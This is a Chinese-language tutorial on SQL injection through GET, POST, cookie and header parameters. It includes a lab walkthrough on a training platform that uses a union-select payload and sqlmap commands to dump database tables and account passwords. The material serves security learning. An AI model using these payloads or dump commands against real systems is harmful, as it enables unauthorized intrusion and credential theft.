数据请求方式-GET&POST&COOKIE等

——url没有参数并不代表没有注入,有时会在数据包中,http数据包中每个部分只要可以被接收,都可能产生漏洞

get参数传递位置

post参数传递位置

cookie参数传递位置

request参数传递位置:可以在GET&POST&COOKIE三个位置传递

1.后台要记录访问的ip

IP会写到数据库,如果能自定义ip数据(X_Forwarded_For),就可以尝试sql注入

2.网站根据用户的访问设备给予显示页面

数据库将各种UA信息整理保存,用户访问后数据库会获取用户的UA信息进行对比,涉及到数据库查询操作。就可以更改UA信息进行SQL注入

sql注入案例

实例黑盒-用户登录-POST注入

打开——墨者(mozhe.cn)SQL注入漏洞测试(post)

burp抓取登录包

使用--+测试发现页面报错

使用#测试发现页面正常,说明支持#注释


测试出字段数后,输入' and 1=2 union select 1,2,3#测试显错位,结果直接爆出了key

使用sqlmap工具

sqlmap数据包形式注入

将name参数值设置为*(name=123*),将数据包保存为1.txt,执行命令:python sqlmap.py -r 1.txt --dbs 

依次查询"库"——"表"——"字段".

最后查询指定字段数据:

python sqlmap.py -r 1.txt --dump -C "name,password" -T "StormGroup_member" -D "mozhe_Discuz_StormGroup"


成功查询出账号密码


还有一种方式,不用保存数据包,可以直接扫描,就是使用--data参数

--data        #通过post发送数据

抓取登录数据包,右键copy要扫描的url,然后将数据包中的两个post参数复制放到--data后面

命令:python sqlmap.py -u "http://124.70.71.251:42179/login.php" --data "name=1&password=1" --dbs  成功爆出数据库


如果在--data后面的其中一个参数加上*号,就只会测试加*号的参数,如果没有加*号就会测试全部参数

当然在这里还是建议使用数据包形式的注入方式,不容易出错。

注入总结:

数据库类型决定——攻击的手法和payload样式

不同数据类型注入——payload要考虑闭合、数据格式

各种提交方式——数据请求不同,注入需要按照指定的方式去测试

网站url没有参数不代表没有注入,有些数据会在数据包才有体现

http数据包任何一个地方只要数据被接收,就可能产生漏洞

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。